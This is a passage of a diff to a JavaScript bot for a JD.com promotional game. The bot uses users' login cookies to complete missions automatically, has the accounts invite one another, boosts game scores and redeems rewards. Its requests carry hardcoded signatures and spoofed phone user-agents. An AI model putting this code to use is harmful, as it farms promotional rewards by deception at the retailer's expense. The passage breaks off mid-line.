{ "更多脚本": "https://github.com/zero205/JD_tencent_scf" }); } - continue + } + } else { + console.log(`查询失败:${JSON.stringify(data)}\n`); } - await star() - + } } - } - console.log(`\n开始账号内互助\n`); - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - if (!useInfo[$.UserName]) continue; - $.canHelp = true; - for (let j = 0; j < newShareCodes.length && $.canHelp; j++) { - $.oneCodeInfo = newShareCodes[j]; - if ($.UserName === newShareCodes[j].usr || $.oneCodeInfo.max) { - continue; - } - console.log(`${$.UserName}去助力${newShareCodes[j].usr}`) - nick = useInfo[$.UserName]; - await dohelp(newShareCodes[j].code); - await $.wait(3000) - } - } - - - -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function star() { - await gettoken() - $.log("开始入会任务") - await dojoinMember(1000101562) - await $.wait(3000) - await dojoinMember(1000077335) - await $.wait(3000) - await dojoinMember(1000008814) - await $.wait(3000) - await dojoinMember(1000014803) - $.log("开始领取首页水滴") - await dotree(1) - await $.wait(3000) - await dotree(2) - await $.wait(3000) - await dotree(3) - await $.wait(3000) - $.log("开始浏览会场") - await doliulan(1) - await $.wait(3000) - await doliulan(2) - await $.wait(3000) - await doliulan(3) - //await gettask() - - $.log("开始浏览会场") - await doshop(1000014803) - await $.wait(3000) - await doshop(10299171) - await $.wait(3000) - await doshop(1000077335) - await $.wait(3000) - await doshop(1000008814) - await $.wait(3000) - await doshop(1000101562) - $.log("开始浏览推荐食品商品") - await doGoods(1) - await $.wait(3000) - await doGoods(2) - await $.wait(3000) - await doGoods(3) - await $.wait(3000) - await doGoods(4) - $.log("开始加购商品") - await doadd(1) - await $.wait(3000) - await doadd(2) - await $.wait(3000) - await doadd(3) - await $.wait(3000) - await doadd(4) - $.log("开始游戏刷分") - await playgame() - $.log("开始兑换") - await duihuan() + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); } function gettoken() { - return new Promise(async (resolve) => { - let options = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e41523&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt%2FpM7ENipVIQXuRiDyQ0FYw2aud9%20AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=4g&wifiBssid=unknown&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJs2X%2FHz8dwQrKfrmFvPGJYcIhgT3KrbJ2slvZoaufp78QzL4RqQVUgaKH%2Fq7EntlwV7J5l6acE2Wlj2%2Bu6Thwe90cWmtV80fH0yhpOV%2FhYIwvD5N6W1zo3LCVXTcuOw%2BARC%2F6K3bndzn3KzMw%2FpkYzhE2JcXeXiD44r%2BkUMawpn%2Bk7XqSVytdBg%3D%3D&uemps=0-0&st=1624988916642&sign=6a25b389996897b263c70516fc3c71e1&sv=122`, - body: `body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fjinggengjcq-isv.isvjcloud.com%2Fpaoku%2Findex.html%3Fsid%3D75b413510cb227103e928769818a74ew%26un_area%3D4_48201_54794_0%22%7D&`, - headers: { - "Host": "api.m.jd.com", - "User-Agent": "okhttp/3.12.1;jdmall;android;version/10.0.4;build/88641;screen/1080x2208;os/10;network/4g;", - "Cookie": cookie, - } + return new Promise(async (resolve) => { + let options = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e41523&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt%2FpM7ENipVIQXuRiDyQ0FYw2aud9%20AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=4g&wifiBssid=unknown&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJs2X%2FHz8dwQrKfrmFvPGJYcIhgT3KrbJ2slvZoaufp78QzL4RqQVUgaKH%2Fq7EntlwV7J5l6acE2Wlj2%2Bu6Thwe90cWmtV80fH0yhpOV%2FhYIwvD5N6W1zo3LCVXTcuOw%2BARC%2F6K3bndzn3KzMw%2FpkYzhE2JcXeXiD44r%2BkUMawpn%2Bk7XqSVytdBg%3D%3D&uemps=0-0&st=1624988916642&sign=6a25b389996897b263c70516fc3c71e1&sv=122`, + body: `body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fjinggengjcq-isv.isvjcloud.com%2Fpaoku%2Findex.html%3Fsid%3D75b413510cb227103e928769818a74ew%26un_area%3D4_48201_54794_0%22%7D&`, + headers: { + "Host": "api.m.jd.com", + "User-Agent": "okhttp/3.12.1;jdmall;android;version/10.0.4;build/88641;screen/1080x2208;os/10;network/4g;", + "Cookie": cookie, + } + } + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data) + if (reust.errcode == 0) { + token = reust.token + // $.log(token) + await getnick() + } else { + $.log(data) } - - $.post(options, async (err, resp, data) => { - try { - const reust = JSON.parse(data) - if (reust.errcode == 0) { - token = reust.token - $.log(token) - await getnick() - } else { - - $.log(data) - } - - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } }); + }); } function getnick() { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com//dm/front/foodRunning/setMixNick?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"ae549c4ddea76787995f262fcedf9fcf","timestamp":1624988916869,"userId":"10299171"},"admJson":{"source":"01","strTMMixNick":"${token}","method":"/foodRunning/setMixNick","actId":"jd_food_running","buyerNick":"","pushWay":1,"userId":"10299171"}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "Sec-Fetch-Site": "same-origin", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;android;10.0.4;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/88641;partner/oppo;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", - } + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com//dm/front/foodRunning/setMixNick?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"ae549c4ddea76787995f262fcedf9fcf","timestamp":1624988916869,"userId":"10299171"},"admJson":{"source":"01","strTMMixNick":"${token}","method":"/foodRunning/setMixNick","actId":"jd_food_running","buyerNick":"","pushWay":1,"userId":"10299171"}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "Sec-Fetch-Site": "same-origin", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;android;10.0.4;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/88641;partner/oppo;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + } + } + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data) + if (reust.errorCode == 200) { + nick = reust.data.data.msg + $.log("【您的邀请码为】" + nick) + useInfo[$.UserName] = nick; + newShareCodes.push({ 'usr': $.UserName, 'code': nick, 'max': false }); + } else if (reust.errorCode == 500) { + $.log(reust.errorMessage) } - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if (reust.errorCode == 200) { - nick = reust.data.data.msg - $.log("邀请码: " + nick) - useInfo[$.UserName] = nick; - newShareCodes.push({ 'usr': $.UserName, 'code': nick, 'max': false }); - } else if (reust.errorCode == 500) { - - $.log(reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } }); + }); } + function doshop(goodsNumId) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"viewShop","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"viewShop","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + } + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data) + if (reust.errorCode == 200) { + + $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) + } else if (reust.errorCode == 500) { + + $.log("今日已领取完毕,请明日再来!" + reust.errorMessage) } - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if (reust.errorCode == 200) { - - $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) - } else if (reust.errorCode == 500) { - - $.log("今日已领取完毕,请明日再来!" + reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } }); + }); } + function doliulan(goodsNumId) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"viewBanner","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"viewBanner","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + } + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data) + if (reust.errorCode == 200) { + $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) + } else if (reust.errorCode == 500) { + $.log("今日已领取完毕,请明日再来!" + reust.errorMessage) } - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if (reust.errorCode == 200) { - - $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) - } else if (reust.errorCode == 500) { - - $.log("今日已领取完毕,请明日再来!" + reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } }); + }); } function doGoods(goodsNumId) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"viewGoods","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"viewGoods","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + } + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data) + if (reust.errorCode == 200) { + $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) + } else if (reust.errorCode == 500) { + $.log("今日已领取完毕,请明日再来!" + reust.errorMessage) } - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if (reust.errorCode == 200) { - - $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) - } else if (reust.errorCode == 500) { - - $.log("今日已领取完毕,请明日再来!" + reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } }); + }); } + function doadd(goodsNumId) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"addCart","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"addCart","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + } + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data) + if (reust.errorCode == 200) { + $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) + } else if (reust.errorCode == 500) { + $.log("今日已领取完毕,请明日再来!" + reust.errorMessage) } - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if (reust.errorCode == 200) { - - $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) - } else if (reust.errorCode == 500) { - - $.log("今日已领取完毕,请明日再来!" + reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } }); + }); } + function dotree(goodsNumId) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"treeCoin","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"treeCoin","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + } + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data) + if (reust.errorCode == 200) { + $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) + } else if (reust.errorCode == 500) { + $.log("今日已领取完毕,请明日再来!" + reust.errorMessage) } - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if (reust.errorCode == 200) { - - $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) - } else if (reust.errorCode == 500) { - - $.log("今日已领取完毕,请明日再来!" + reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } }); + }); } + function dohelp(inviterNick) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"61082e10fc24d61235301cd899e4ec5e","timestamp":1625033802865,"userId":10299171},"admJson":{"inviterNick":"${inviterNick}","missionType":"inviteFriend","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"61082e10fc24d61235301cd899e4ec5e","timestamp":1625033802865,"userId":10299171},"admJson":{"inviterNick":"${inviterNick}","missionType":"inviteFriend","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": 